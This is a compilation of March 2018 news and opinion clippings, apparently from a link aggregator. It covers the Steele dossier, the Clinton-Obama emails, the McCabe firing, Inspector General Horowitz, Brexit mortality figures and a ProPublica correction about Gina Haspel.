For a complete understanding of the dossier's tenacious hold on lofty minds, one must supplement conventional political analysis with psychology. What we are witnessing is nothing less than a textbook case of denial and projection '-- the most perfect case imaginable.
The event that shaped the dossier more than any other was the hack of the DNC. Guccifer 2.0 first began releasing documents on June 15. A week later, Steele produced his first report. The Hillary Clinton that emerged from the DNC emails was preternaturally unsuited to a populist moment. Here she was: the Hillary Clinton who made high-priced speeches to Wall Street on the eve of the Iowa caucuses. Here was the co-executive of the international slush funds of the Clinton Foundation and the Clinton Global Initiative. Here was the power-hungry political boss who worked with the DNC to fix the Democratic primaries. Clinton's supporters instinctively understood the size of the wound that the hack opened up, and they worked frantically to cauterize it '-- which meant deflecting attention from the greed, entitlement, and sleaze that characterized Clinton, Inc.
The dossier quickly became a tool for denying the deficiencies of Bill and Hillary Clinton, projecting them onto Donald Trump. Is Bill Clinton a sexual predator? That's nothing. Trump pays teams of prostitutes to pee on him! Did Hillary Clinton preside over the failed ''reset'' with Russia? That's nothing. Putin is blackmailing Trump, and he fears Hillary! Did Bill Clinton pocket a $500,000 fee for a speech he gave in Moscow, shortly before the sale of American uranium to Russian interests? That's nothing. Trump's been dependent on Putin for years! Do the emails from the DNC prove that Hillary Clinton rigged the primaries? That's nothing. Trump conspired with Putin to rig the entire election!
In the wake of the DNC hack, leading figures in the press and senior officials in the Obama administration faced a choice. They could depict Carter Page as he really was: an unknown man of modest accomplishments who played no role of note in the Trump organization. Or they could conspire with Fusion GPS to promote the fiction that he was a sly operative in a sinister network. In a fateful choice, they opted for dishonesty and deception over truth.
Once the enablers of Hillary Clinton compromised their own integrity, they internalized her program of denial and projection. Their own egos are now invested in perpetuating it. To avoid owning up to their shortcomings, they insist, in ever-shriller tones, on the personal integrity of the super spy and the credibility of his reports. The mere acknowledgement of a simple truth '-- that the ''dossier'' is junk '-- would constitute an admission either of deep professional malfeasance or of gob-smacking gullibility.
Choose your poison, Hillary enablers: You duped people and thereby abetted a gross abuse of power; or you were yourself badly duped.
Choose your poison: You duped people and thereby abetted a gross abuse of power; or you were yourself badly duped. That is the dilemma that the lofty-minded now face. The choice is excruciating. It requires abandoning satisfying self-images and embracing painful self-truths '-- while also handing a well-deserved victory to a hated political enemy. As a consequence, the Steele dossier has proved to be as consequential as it is asinine.
The Greatest Denier
Of course, no one is in deeper denial than Hillary Clinton herself. After she had conceded to Trump on the night of the election, Obama called her. Taking the phone, she said, ''Mr. President, I'm sorry.''
Sorry, no doubt, that the baton had fallen to the ground once again. Sorry that she would not be the first female president. Sorry that she would not hold the reins of power. But was contrition an aspect of any component of her sorrow?
If there is one thing Hillary Clinton does not do well, it is contrition. In an interview last September, she clung to the fiction that the election was stolen. Her belief that Trump conspired with Putin was absolute. ''There certainly was communication, and there certainly was an understanding of some sort,'' Clinton said. She had ''no doubt'' that Putin sought a Trump victory, that there was ''a tangle of financial relationships'' between Trump and Russia, and that Trump's associates ''worked really hard to hide their connections with Russians.'' Were those, in her mind, clear signs of collusion? ''I'm convinced of it,'' she said.
She will remain convinced until the day she dies. The alternative, a rigorous examination of conscience, is too painful to contemplate. How much longer will Hillary Clinton's damaged psyche hold America hostage?
Hillary Clinton & Barack Obama Emails: Key to Lack of Clinton Indictment | National Review
Sat, 17 Mar 2018 11:17
Barack Obama and Hillary Clinton talk during the Summit of the Americas in Cartagena April 14, 2012. (Kevin Lamarque/Reuters) New FBI texts highlight a motive to conceal the president's involvement. F rom the first, these columns have argued that the whitewash of the Hillary Clinton''emails caper was President Barack Obama's call '-- not the FBI's, and not the Justice Department's. (See, e.g., here, here, and here.) The decision was inevitable. Obama, using a pseudonymous email account, had repeatedly communicated with Secretary Clinton over her private, non-secure email account.
These emails must have involved some classified information, given the nature of consultations between presidents and secretaries of state, the broad outlines of Obama's own executive order defining classified intelligence (see EO 13526, section 1.4), and the fact that the Obama administration adamantly refused to disclose the Clinton''Obama emails. If classified information was mishandled, it was necessarily mishandled on both ends of these email exchanges.
If Clinton had been charged, Obama's culpable involvement would have been patent. In any prosecution of Clinton, the Clinton''Obama emails would have been in the spotlight. For the prosecution, they would be more proof of willful (or, if you prefer, grossly negligent) mishandling of intelligence. More significantly, for Clinton's defense, they would show that Obama was complicit in Clinton's conduct yet faced no criminal charges.
That is why such an indictment of Hillary Clinton was never going to happen. The latest jaw-dropping disclosures of text messages between FBI agent Peter Strzok and his paramour, FBI lawyer Lisa Page, illustrate this point.
For the moment, I want to put aside the latest controversy '-- the FBI's failure to retain five months of text messages between Strzok and Page, those chattiest of star-crossed lovers. Yes, this ''glitch'' closes our window on a critical time in the Trump-Russia investigation: mid December 2016 through mid May 2017. That is when the bureau and Justice Department were reportedly conducting and renewing (in 90-day intervals) court-approved FISA surveillance that may well have focused on the newly sworn-in president of the United States. (Remember: The bureau's then-director, James Comey, testified at a March 20 House Intelligence Committee hearing that the investigation was probing possible coordination between Trump's campaign and Kremlin interference in the election.)
The retention default has been chalked up to a technological mishap. Assuming that this truly was an indiscriminate, bureau-wide problem '-- that lost texts are not limited to phones involved in the Trump-Russia investigation '-- it is hard to imagine its going undetected for five months in an agency whose business is information retention. But it is not inconceivable. Attorney General Jeff Sessions maintains that an aggressive inquiry is underway, so let's assume (for argument's sake, at least) that either the texts will be recovered or a satisfactory explanation for their non-retention will be forthcoming.
For now, let's stick with the Clinton''Obama emails.
We now know that Comey's remarks had been in the works for two months and were revised several times by the director and his advisers.
On July 5, 2016, Comey held the press conference at which he delivered a statement describing Mrs. Clinton's criminal conduct but nevertheless recommending against an indictment. We now know that Comey's remarks had been in the works for two months and were revised several times by the director and his advisers.
This past weekend, in a letter to the FBI regarding the missing texts, Senate Homeland Security Committee chairman Ron Johnson (R., Wis.) addressed some of these revisions. According to Senator Johnson, a draft dated June 30, 2016 (i.e., five days before Comey delivered the final version), contained a passage expressly referring to a troublesome email exchange between Clinton and Obama. (I note that the FBI's report of its eventual interview of Clinton contains a cryptic reference to a July 1, 2012, email that Clinton sent from Russia to Obama's email address. See report, page 2.) The passage in the June 30 draft stated:
We also assess that Secretary Clinton's use of a personal email domain was both known by a large number of people and readily apparent. She also used her personal email extensively while outside the United States, including from the territory of sophisticated adversaries. That use included an email exchange with the President while Secretary Clinton was on the territory of such an adversary. [Emphasis added.] Given that combination of factors, we assess it is possible that hostile actors gained access to Secretary Clinton's personal email account.
On the same day, according to a Strzok''Page text, a revised draft of Comey's remarks was circulated by his chief of staff, Jim Rybicki. It replaced ''the President'' with ''another senior government official.''
This effort to obscure Obama's involvement had an obvious flaw: It would practically have begged congressional investigators and enterprising journalists to press for the identification of the ''senior government official'' with whom Clinton had exchanged emails. That was not going to work.
Consequently, by the time Comey delivered his remarks on July 5, the decision had been made to avoid even a veiled allusion to Obama. Instead, all the stress was placed on Clinton (who was not going to be charged anyway) for irresponsibly sending and receiving sensitive emails that were likely to have been penetrated by hostile intelligence services. Comey made no reference to Clinton's correspondent:
We also assess that Secretary Clinton's use of a personal e-mail domain was both known by a large number of people and readily apparent. She also used her personal e-mail extensively while outside the United States, including sending and receiving work-related e-mails in the territory of sophisticated adversaries. [Emphasis added.] Given that combination of factors, we assess it is possible that hostile actors gained access to Secretary Clinton's personal e-mail account.
The decision to purge any reference to Obama is consistent with the panic that seized his administration from the moment Clinton's use of a private, non-secure server system was revealed in early March 2015. I detailed this reaction in a series of 2016 columns (see, e.g., here and here). What most alarmed Obama and Clinton advisers (those groups overlap) was not only that there were several Clinton''Obama email exchanges, but also that Obama dissembled about his knowledge of Clinton's private email use in a nationally televised interview.
On March 4, just after the New York Times broke the news about Clinton's email practices at the State Department, John Podesta (a top Obama adviser and Clinton's campaign chairman) emailed Cheryl Mills (Clinton's confidant and top aide in the Obama State Department) to suggest that Clinton's ''emails to and from potus'' should be ''held'' '-- i.e., not disclosed '-- because ''that's the heart of his exec privilege.'' At the time, the House committee investigating the Benghazi jihadist attack was pressing for production of Clinton's emails.
As his counselors grappled with how to address his own involvement in Clinton's misconduct, Obama deceptively told CBS News in a March 7 interview that he had found out about Clinton's use of personal email to conduct State Department business ''the same time everybody else learned it through news reports.'' Perhaps he was confident that, because he had used an alias in communicating with Clinton, his emails to and from her '-- estimated to number around 20 '-- would remain undiscovered.
His and Clinton's advisers were not so confident. Right after the interview aired, Clinton campaign secretary Josh Scherwin emailed Jennifer Palmieri and other senior campaign staffers, stating: ''Jen you probably have more on this but it looks like POTUS just said he found out HRC was using her personal email when he saw it on the news.''
Scherwin's alert was forwarded to Mills. Shortly afterwards, an agitated Mills emailed Podesta: ''We need to clean this up '-- he has emails from her '-- they do not say state.gov.'' (That is, Obama had emails from Clinton, which he had to know were from a private account since her address did not end in ''@state.gov'' as State Department emails do.)
So how did Obama and his helpers 'clean this up'?
So how did Obama and his helpers ''clean this up''?
Obama had his email communications with Clinton sealed. He did this by invoking a dubious presidential-records privilege. The White House insisted that the matter had nothing to do with the contents of the emails, of course; rather, it was intended to vindicate the principle of confidentiality in presidential communications with close advisers. With the media content to play along, this had a twofold benefit: Obama was able (1) to sidestep disclosure without acknowledging that the emails contained classified information, and (2) to avoid using the term ''executive privilege'' '-- with all its dark Watergate connotations '-- even though that was precisely what he was invoking.
Note that claims of executive privilege must yield to demands for disclosure of relevant evidence in criminal prosecutions. But of course, that's not a problem if there will be no prosecution.
The White House purported to repair the president's disingenuous statement in the CBS interview by rationalizing that he had meant that he learned of Clinton's homebrew server system through news reports '-- he hadn't meant to claim unawareness that she occasionally used private email. This was sheer misdirection: From Obama's standpoint, the problem was that he discussed government intelligence matters with the secretary of state through a private email account; the fact that, in addition, Clinton's private email account was connected to her own private server system, rather than some other private email service, was beside the point. But, again, the media was not interested in such distinctions and contentedly accepted the White House's non-explanation.
Meanwhile, Attorney General Loretta Lynch ordered Comey to use the word ''matter'' rather than ''investigation'' to describe the FBI's probe of Clinton's email practices. This ensured that the Democratic administration's law-enforcement agencies were aligning their story with the Democratic candidate's campaign rhetoric. If there was no investigation, there would be no prosecution.
In April 2016, in another nationally televised interview, Obama made clear that he did not want Clinton to be indicted. His rationale was a legally frivolous straw man: Clinton had not intended to harm national security. This was not an element of the felony offenses she had committed; nor was it in dispute. No matter: Obama's analysis was the stated view of the chief executive. If, as was sure to happen, his subordinates in the executive law-enforcement agencies conformed their decisions to his stated view, there would be no prosecution.
Within a few weeks, even though the investigation was ostensibly still underway and over a dozen key witnesses '-- including Clinton herself '-- had not yet been interviewed, the FBI began drafting Comey's remarks that would close the investigation. There would be no prosecution.
On June 27, Lynch met with Clinton's husband, former President Bill Clinton, on an out-of-the-way Arizona tarmac, where their security details arranged for both their planes to be parked.
Over the next few days, the FBI took pains to strike any reference to Obama's emails with Mrs. Clinton from the statement in which Comey would effectively end the ''matter'' with no prosecution.
On July 1, amid intense public criticism of her meeting with Bill Clinton, Attorney General Lynch piously announced that she would accept whatever recommendation the FBI director and career prosecutors made about charging Clinton. As Page told Strzok in a text that day, ''This is a purposeful leak following the airplane snafu.'' It was also playacting. Page elaborated that the attorney general already ''knows no charges will be brought.'' Of course she did: It was understood by all involved that there would be no prosecution.
Knowing that, Lynch had given the FBI notice on June 30 that she'd be announcing her intention to accept Comey's recommendation. Fearing this just might look a bit choreographed, the FBI promptly amended Comey's planned remarks to include this assertion (which he in fact made on July 5): ''I have not coordinated or reviewed this statement in any way with the Department of Justice or any other part of the government. They do not know what I am about to say.''
But they did not need to participate in drafting the statement, and they did not need to know the precise words he was going to use. It was not Comey's decision anyway. All they needed to know was that there would be no prosecution.
All cleaned up: no indictment, meaning no prosecution, meaning no disclosure of Clinton-Obama emails.
On July 2, with the decision that she would not be indicted long since made, Mrs. Clinton sat for an interview with the FBI '-- something she'd never have done if there were a chance she might be charged. The farce was complete with the Justice Department and FBI permitting two subjects of the investigation '-- Mills and Clinton aide Heather Samuelson '-- to sit in on the interview as lawyers representing Clinton. That is not something law enforcement abides when it is serious about making a case. Here, however, it was clear: There would be no prosecution.
All cleaned up: no indictment, meaning no prosecution, meaning no disclosure of Clinton''Obama emails. It all worked like a charm . . . except the part where Mrs. Clinton wins the presidency and the problem is never spoken of again.
READ MORE:
It Wasn't Comey's Decision to Exonerate Hillary '' It Was Obama's
Time to Give Clinton's Server Technician the Mueller Treatment
List of Hillary Clinton's Lies
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Ex-CIA director slams Trump after McCabe firing: You'll be remembered as a 'disgraced demagogue' | TheHill
Sat, 17 Mar 2018 15:23
Former CIA Director John BrennanJohn Owen BrennanEx-CIA director slams Trump: Your insecurity over Russia investigation is 'well deserved'Ex-CIA chief on new Mueller indictments: Claims of a 'hoax' are 'in tatters'Ex-CIA chief: Congress must act now to block access to semiautomatic weaponsMORE tore into President TrumpDonald John TrumpAccuser says Trump should be afraid of the truthWoman behind pro-Trump Facebook page denies being influenced by RussiansShulkin says he has White House approval to root out 'subversion' at VAMORE for celebrating the firing of former FBI Deputy Director Andrew McCabeAndrew George McCabeDopey Russian ads didn't swing voters '-- federal coverups didFederal abuses on Obama's watch represent a growing blight on his legacyIn the case of the FISA memos, transparency is national securityMORE , saying Trump will be remembered as ''a disgraced demagogue in the dustbin of history.''
''You may scapegoat Andy McCabe, but you will not destroy America...America will triumph over you,'' Brennan tweeted at Trump.
When the full extent of your venality, moral turpitude, and political corruption becomes known, you will take your rightful place as a disgraced demagogue in the dustbin of history. You may scapegoat Andy McCabe, but you will not destroy America...America will triumph over you. https://t.co/uKppoDbduj
'-- John O. Brennan (@JohnBrennan) March 17, 2018 ADVERTISEMENT
The former CIA director was responding to a tweet by Trump hailing McCabe's firing as a "great day for democracy."
Andrew McCabe FIRED, a great day for the hard working men and women of the FBI - A great day for Democracy. Sanctimonious James ComeyJames Brien ComeyDopey Russian ads didn't swing voters '-- federal coverups didAssessing Trump's impeachment odds through a historic lensDrama surrounding Shulkin '-- what is the future of VA health care?MORE was his boss and made McCabe look like a choirboy. He knew all about the lies and corruption going on at the highest levels of the FBI!
'-- Donald J. Trump (@realDonaldTrump) March 17, 2018Attorney General Jeff SessionsJefferson (Jeff) Beauregard SessionsUnder pressure, Trump shifts blame for Russia intrusionOvernight Tech: Judge blocks AT&T request for DOJ communications | Facebook VP apologizes for tweets about Mueller probe | Tech wants Treasury to fight EU tax proposalOvernight Regulation: Trump to take steps to ban bump stocks | Trump eases rules on insurance sold outside of ObamaCare | FCC to officially rescind net neutrality Thursday | Obama EPA chief: Reg rollback won't standMORE fired McCabe on Friday, saying that McCabe had made an unauthorized disclosure to the media and wasn't forthcoming with investigators.
McCabe claimed he was fired in an effort to undercut special counsel Robert MuellerRobert Swan MuellerSasse: US should applaud choice of Mueller to lead Russia probeMORE 's probe into Russia's election interference, arguing he could be a key witness in the investigation.
He also denied being dishonest with investigators, and said that he was authorized to allow FBI officials talk to the media about the investigation into the Clinton Foundation.
''A Political Boon to the President'': Will the Inspector General's Report Do What Nunes Couldn't? | Vanity Fair
Sun, 18 Mar 2018 00:44
Inspector General Michael Horowitz is sworn in for a Senate Judiciary Committee hearing, titled "Oversight of the Foreign Agents Registration Act and Attempts to Influence US Elections" on July 26, 2017.
By Drew Angerer/Getty Images.
Just when you thought you were keeping straight all the previously obscure government lawyers who might decide the fate of the republic, here comes Michael Horowitz, the inspector general for the Department of Justice. Republican Congressman Devin Nunes has dominated headlines for weeks with his controversial memo. But there is greater significance'--and uncertainty'--attached to Horowitz's examination of the F.B.I.'s pivotal role during the 2016 presidential campaign. ''His report will be more credible than the Nunes memo,'' says Benjamin Wittes, the co-founder of the blog Lawfare. ''Let's just say Michael Horowitz is not a clown. And you're talking about a situation inherently less susceptible to the foolishness that gave rise to the Nunes memo.''
Horowitz has tackled one high-profile mess previously. In 2012, less than six months after he'd arrived in the inspector general job, Horowitz issued a 471-page report on ''Fast and Furious,'' the undercover operation that was supposed to crack down on illegal gun trafficking but somehow lost track of 2,000 firearms'--one of which was used to kill a Border Patrol agent. Horowitz's report referred 14 officials for disciplinary action, but essentially exonerated then-attorney general Eric Holder of wrongdoing. ''Michael is very cautious,'' says Steven Cohen, who was a prosecutorial colleague of Horowitz's in New York's southern district of the U.S. Attorney's office. ''He's dogged. He's the opposite of a guy seeking to have a life in the limelight.''
There is no avoiding it this time. Horowitz's probe has been lurking in the background since last January. He has quietly interviewed dozens of witnesses, including former attorney general Loretta Lynch and former F.B.I director James Comey. Horowitz was pulled into the headlines recently, though, when his office recovered missing texts between F.B.I. agent Peter Strzok and bureau lawyer Lisa Page. Then, in a preview of how his finished report will become a flashpoint, Horowitz's lines of questioning were used to put an ominous spin on the ouster of F.B.I. deputy director Andrew McCabe.
The problem for both sides is that when Horowitz actually does announce his appraisal it will be grounded in facts and reality. ''He's generally considered to be a straight-shooting guy, though he likes to mind his congressional politics,'' says Matthew Miller, a Justice Department spokesman under Holder. ''Whether you agree with all his conclusions or not, Horowitz has a history of acting in good faith.'' In 2003 George W. Bush chose Horowitz as a member of a federal sentencing commission. But Horowitz was appointed to his current role by Barack Obama. So if he turns up F.B.I. actions or actors that were prejudiced against Donald Trump, Democrats will have a hard time dismissing Horowitz as motivated by partisanship.
The process also lends impartiality: people criticized in an I.G. report are allowed to review the document in advance and to submit a rebuttal, which should have a disciplining effect on Horowitz's analysis. It's unlikely Horowitz will discover new and damning facts in a matter that's been so thoroughly aired already. Instead, the report will have value as a comprehensive, on-the-record account of what went on at the highest levels of the Justice Department in 2016, as the Clinton e-mail investigation unfolded and the Russian hacking probe began.
That thoroughness will give the report weight'--and could turn Horowitz's conclusions, particularly his judgment of Comey, into potent weapons. If Horowitz is highly critical of the former F.B.I. director for breaking with precedent to publicly declare Hillary Clinton ''extremely careless'' in July, 2016, and of how Comey reopened the investigation in late October, again damaging Clinton's chances, Horowitz would seemingly side with the Democrats.
Former FBI Director Comey testifies before a Senate Select Intelligence Committee hearing on his relationship with President Trump on June 8, 2017.
By Tom Williams/CQ Roll Call.
That interpretation has never stopped Trump from claiming he is the real victim, however. ''There's plenty of legitimate criticism of what Comey and the F.B.I. did in 2016,'' says Hakeem Jeffries, a Democrat from New York who is a member of the House Judiciary Committee. ''But where this is going with the I.G.'s report and the Republicans is that the F.B.I. was somehow out to get Trump all along.'' Jack Goldsmith, an assistant attorney general during the Bush administration and now Wittes's Lawfare compatriot, says he believes the Horowitz report will be ''a political boon to the president.'' It's easy to see how that would work: Trump's allies will seize on any Horowitz criticism of Comey to justify the president's firing of the F.B.I. director, just like deputy attorney general Rod Rosenstein wrote at the time. If Horowitz identifies any internal Justice Department dysfunction, the Trump team will use it to sow more distrust of the bureau's leadership, then and now.
Comey enthusiastically welcomed the I.G.'s investigation when it was launched, sounding as if he expected to be vindicated for making the least bad choice. ''Jim took the steps that he took,'' his friend Wittes says. ''He's gotten a lot of criticism for them. He had his own sense of what the right thing to do was, and he isn't especially threatened by the idea that people might disagree.'' A year later, though, with Horowitz's report being finalized, is Comey any more anxious about its possible verdict? ''I actually know the answer to that question,'' Wittes says, coyly. ''And I'm not going to talk about it.''
This article has been updated.
Amazon.com: A Higher Loyalty: Truth, Lies, and Leadership eBook: James Comey: Kindle Store
Sun, 18 Mar 2018 11:38
In his forthcoming book, former FBI director James Comey shares his never-before-told experiences from some of the highest-stakes situations of his career in the past two decades of American government, exploring what good, ethical leadership looks like, and how it drives sound decisions. His journey provides an unprecedented entry into the corridors of power, and a remarkable lesson in what makes an effective leader.
Mr. Comey served as director of the FBI from 2013 to 2017, appointed to the post by President Barack Obama. He previously served as U.S. attorney for the Southern District of New York, and the U.S. deputy attorney general in the administration of President George W. Bush. From prosecuting the Mafia and Martha Stewart to helping change the Bush administration's policies on torture and electronic surveillance, overseeing the Hillary Clinton e-mail investigation as well as ties between the Trump campaign and Russia, Comey has been involved in some of the most consequential cases and policies of recent history.
Brexit
Mystery over 12 percent rise in Brit fatalities in 2018 | Daily Mail Online
Sun, 18 Mar 2018 14:26
More than 10,000 extra people died in the first few weeks of 2018 than is usual for the time of year.
Experts say the additional deaths in England and Wales '' the equivalent of one every seven minutes '' are not the result of flu or bad weather.
Health officials have acknowledged the 12 per cent rise but have so far given no indication of any possible causes.
More than 10,000 extra people died in the first few weeks of 2018 than is usual for the time of year. Researchers are calling for an investigation into the rising death rates (stock image)
Researchers at Oxford University and the London School of Hygiene and Tropical Medicine are calling for an investigation into the rising death rates.
They say it is unlikely that a single factor such as a virus is to blame because the increase has not happened elsewhere in Europe or in Asia.
Instead, they suggest the cause will probably be far more complex, pointing to problems in NHS hospitals and social care.
An editorial in the British Medical Journal questioned whether rates could have been even higher if more hospital beds had not been made available this winter.
Danny Dorling, professor of geography at Oxford, said: 'It's possible that the emergency ending of operations and opening up the beds has averted something even worse.
'We've had a very big increase in the number of deaths and it's not because of the flu. We had another similar increase in 2015 as well. These two things are unprecedented in the post-war period so the concentration of deaths looks to be when the whole health and social care system is doing particularly badly, then those who are particularly frail are more likely to die.
Experts say the additional deaths in England and Wales '' the equivalent of one every seven minutes '' are not the result of flu or bad weather. Health officials have acknowledged the 12 per cent rise but have so far given no indication of any possible causes (stock image)
'The underlying thing is that we have had this incredible slowdown in health improvements since 2010, but really things are getting worse.' In the first seven weeks of 2018 there were 93,990 deaths in England and Wales, compared with an average of 83,615 over the same weeks in the previous five years.
It comes after Public Health England warned there had been a rise in mortality rates this winter. Professor Paul Cosford, PHE medical director, said last week: 'There has been a period of about four weeks or so during which mortality has been higher than we would have expected.
'In week six [the week ending February 11] there is about 11,300 or so deaths in an average year, but we have had probably about 12,400-12,500.'
Researchers at Oxford University and the London School of Hygiene and Tropical Medicine are calling for an investigation into the rising death rates. They say it is unlikely that a single factor such as a virus is to blame because the increase has not happened elsewhere in Europe or in Asia (stock)
Lucinda Hiam, of the London School of Hygiene and Tropical Medicine, said: 'The Department of Health and Social Care is not taking the slowdown in improvements in mortality seriously. The figures for this year make the case for an investigation both stronger and more urgent with each passing day.'
The Department of Health and Social Care said: 'We are committed to helping people live long and healthy lives, which is why the NHS was given top priority in the autumn budget, with an extra £2.8billion, on top of a planned £10billion-a-year increase by 2020/21.
'We will consider this and other new research in this area.'
Over 120,000 Leave voters have died since Brexit | ShortList
Sun, 18 Mar 2018 14:30
While you were sharing thinkpieces and Brexit memes of no consequence, Twitter user Steve Lawrence has been doing the lord's work. Piecing together data from Eurostat, the British Election Study and data journalism carried out by Financial Times and the Independent, Steve has made a model that predicts that Remain would win by 52.08 per cent if a snap referendum was called today.
And if that weren't interesting enough, one of the most fun aspects of Steve's data is the bluntness with which he's labelled 'voters now dead.' Just look at that stat: 123,411 of them all estimated to have died since taking to the voting booths. Comparatively, his data suggests less than 30,000 of those who voted Remain have now bitten the dust, working out to almost a 100,000 difference.
Now, if you're a youngish person feeling a tad pissed off you've been forced to live on this hellhole island with its tanking economy and permanent rain because the older generation wanted their blue passports back, you will no doubt be comforted by the news that only six months on, and they're already falling faster than pound sterling.
Imagine them, shuffling into the voting booth, coughing and wheezing, barely enough blood left in their brain to fuel their xenophobic thoughts, dragging their ailing, shaking hand over the slip, carving a feint 'X' into the box marked 'Leave', feeling like they'd finally got control back, then immediately dropping dead.
Slightly less satisfying are Steve's stats that show over a million Leave voters regret it now, entirely too late to change their decision. It's also unclear how many of them have also died since, so this voter's remorse might have less impact than Steve predicts.
Most bafflingly of all are the quarter of a million strong group of ex-pats for over 15 years '' who have since been given full voting rights '' that would still vote to Leave. These are people who have actively left the UK ages ago, enjoyed the privilege for over fifteen years, but would then still vote to prevent anyone else from doing the same. Frankly, I hope that all the 123,411 Leave voters that Steve has predicted dead exclusively belonged to this group.
Steve has taken his model even further, predicting the result of General Election Day 2019, where he forecasts nearly three quarters of a million Leave voters to have died before Brexit comes into full affect, as well as a resounding Remain victory in a second referendum we most likely will never have.
There is a certain tragic sadness in the group of young people who will become of the voting age by 2019, and who (Steve predicts) will be overwhelmingly in favour of Remaining, but will be completely unable to affect the future the dying have condemned them to.
Fifa should stop Russia hosting 2018 World Cup, says Andy Burnham | Football | The Guardian
Sun, 18 Mar 2018 14:30
Labour shadow minister says football governing body should 'revisit decision' to let Russia host cup after Crimea annexation
Russian President Vladimir Putin (centre) applauds as Fifa President Sepp Blatter Fifa exchanges documents awarding Russia rights to host the the 2018 World Cup Photograph: MIKHAIL KLIMENTYEV / RIA NOVOSTI / KREMLIN POOL/EPA
Football authorities should look at stopping Russia from hosting the Fifa World Cup in 2018 over its annexation of Crimea, a Labour frontbencher has said.
The shadow health secretary, Andy Burnham, made the suggestion as the EU imposed further sanctions on 12 Russians connected to the Kremlin as punishment for taking over part of Ukraine.
Speaking on BBC Question Time, he said it was Fifa's decision to make but it should "revisit" that choice.
Clive Efford, Labour's shadow sports minister, later said that no country should "unilaterally boycott" the 2018 World Cup in Russia but "Fifa should discuss contingency plans today in case the situation escalates".
The EU is now looking at other possible financial sanctions in case the crisis escalates '' for example if Russia moves into eastern Ukraine.
An EU-Russia summit in June will be cancelled along regular bilateral meetings between member states and Moscow.
Herman van Rompuy, the European Council president, said: "We make clear that failure to settle the crisis peacefully, and any steps by Russia to destabilise Ukraine, will have far-reaching consequences '' and by that we mean consequences on relations in a broad range of economic areas."
Leaving the summit, David Cameron said that the EU was sending a "clear, strong and consistent message".
"It has been hard work but we've made some real progress," he said.
Sergei Lavrov, the Russian foreign minister, condemned the international sanctions as "absolutely unlawful".
Ministry of Truthiness
Correction: Trump's Pick to Head CIA Did Not Oversee'... '-- ProPublica
Fri, 16 Mar 2018 16:16
Government employees gather around a seal inside the CIA in McLean, Virginia.
On Feb. 22, 2017, ProPublica published a story that inaccurately described Gina Haspel's role in the treatment of Abu Zubaydah, a suspected al-Qaida leader who was imprisoned by the CIA at a secret ''black site'' in Thailand in 2002.
The story said that Haspel, a career CIA officer who President Trump has nominated to be the next director of central intelligence, oversaw the clandestine base where Zubaydah was subjected to waterboarding and other coercive interrogation methods that are widely seen as torture. The story also said she mocked the prisoner's suffering in a private conversation. Neither of these assertions is correct and we retract them. It is now clear that Haspel did not take charge of the base until after the interrogation of Zubaydah ended.
Our account of Haspel's actions was drawn in part from declassified agency cables and CIA-reviewed books which referred to the official overseeing Zubaydah's interrogation at a secret prison in Thailand as ''chief of base.'' The books and cables redacted the name of the official, as is routinely done in declassified documents referring to covert operations.
The Trump administration named Haspel to the CIA's No. 2 job in early February 2017. Soon after, three former government officials told ProPublica that Haspel was chief of base in Thailand at the time of Zubaydah's waterboarding.
We also found an online posting by John Kiriakou, a former CIA counter-terrorism officer, who wrote that ''It was Haspel who oversaw the staff'' at the Thai prison, including two psychologists who ''designed the torture techniques and who actually carried out torture on the prisoners.''
The nomination of Haspel this week to head the CIA stirred new controversy about her role in the detention and interrogation of terror suspects, as well as the destruction of videotapes of the interrogation of Zubaydah and another suspect. Some critics cited the 2017 ProPublica story as evidence that she was not fit to run the agency.
Those statements prompted former colleagues of Haspel to defend her publicly. At least two said that while she did serve as chief of base in Thailand, she did not arrive until later in 2002, after the waterboarding of Zubaydah had ended.
The New York Times, which also reported last year that Haspel oversaw the interrogation of Abu Zubaydah and another detainee, Abd al-Rahim al-Nashiri, published a second story this week making the same point. It quoted an unnamed former senior CIA official who said Haspel did not become base chief until late October of 2002. According to the Times, she was in charge when al-Nashiri was waterboarded three times.
James Mitchell, the psychologist and CIA contractor who helped to direct the waterboarding of both suspects, said in a broadcast interview on March 14 that Haspel was not the ''chief of base'' whom he described in his book as making fun of Zubaydah's suffering.
''That chief of base was not Gina,'' Mitchell told Fox Business Network. ''She's not the COB I was talking about.''
Mitchell's book, ''Enhanced Interrogation: Inside the Minds and Motives of the Islamic Terrorists Trying to Destroy America,'' referred to the chief of base in Thailand as both ''he'' and ''she.''
We erroneously assumed that this was an effort by Mitchell or the agency to conceal the gender of the single official involved; it is now clear that Mitchell was referring to two different people.
ProPublica contacted Mitchell in 2017 to ask him about this passage in his book. Facing a civil lawsuit brought by former CIA detainees, he declined to comment.
At about the same time, we approached the CIA's press office with an extensive list of questions about the cables and Haspel's role in running the Thai prison, particularly her dealings with Zubaydah.
An agency spokesman declined to answer any of those questions but released a statement that was quoted in the article, asserting that ''nearly every piece of reporting that you are seeking comment on is incorrect in whole or in part.''
The CIA did not comment further on the story after its publication and we were not aware of any further questions about its accuracy until this week.
The February 2017 ProPublica story did accurately report that Haspel later rose to a senior position at CIA headquarters, where she pushed her bosses to destroy the tapes of Zubaydah's waterboarding. Her direct boss, the head of the agency's Counterterrorism Center, ultimately signed the order to feed the 92 tapes into a shredder. Her actions in that instance, and in the waterboarding of al-Nashiri, are likely to be the focus of questions at her confirmation hearings.
Dean Boyd, director of the CIA's office of public affairs, praised Haspel's 30 years of public service and said Thursday in a statement that her qualifications and capabilities would be evident in the hearing process.
''It is important to note that she has spent nearly her entire CIA career undercover,'' Boyd said. ''Much of what is in the public domain about her is inaccurate. We are pleased that ProPublica is willing to acknowledge its mistakes and correct the record regarding its claims about Ms. Haspel.''
A few reflections on what went wrong in our reporting and editing process.
The awkward communications between officials barred from disclosing classified information and reporters trying to reveal secrets in which there is legitimate public interest can sometimes end in miscommunication. In this instance, we failed to understand the message the CIA's press office was trying to convey in its statement.
None of this in any way excuses our mistakes. We at ProPublica hold government officials responsible for their missteps, and we must be equally accountable. This error was particularly unfortunate because it muddied an important national debate about Haspel and the CIA's recent history. To her, and to our readers, we can only apologize, correct the record and make certain that we do better in the future.
'--Stephen Engelberg, editor-in-chief
Update, March 13, 2018: President Donald Trump has nominated CIA deputy director Gina Haspel as the agency's new chief. We published the story below on Feb. 22, 2017.
In August of 2002, interrogators at a secret CIA-run prison in Thailand set out to break a Palestinian man they believed was one of al-Qaida's top leaders.
As the CIA's video cameras rolled, security guards shackled Abu Zubaydah to a gurney and interrogators poured water over his mouth and nose until he began to suffocate. They slammed him against a wall, confined him for hours in a coffin-like box, and deprived him of sleep.
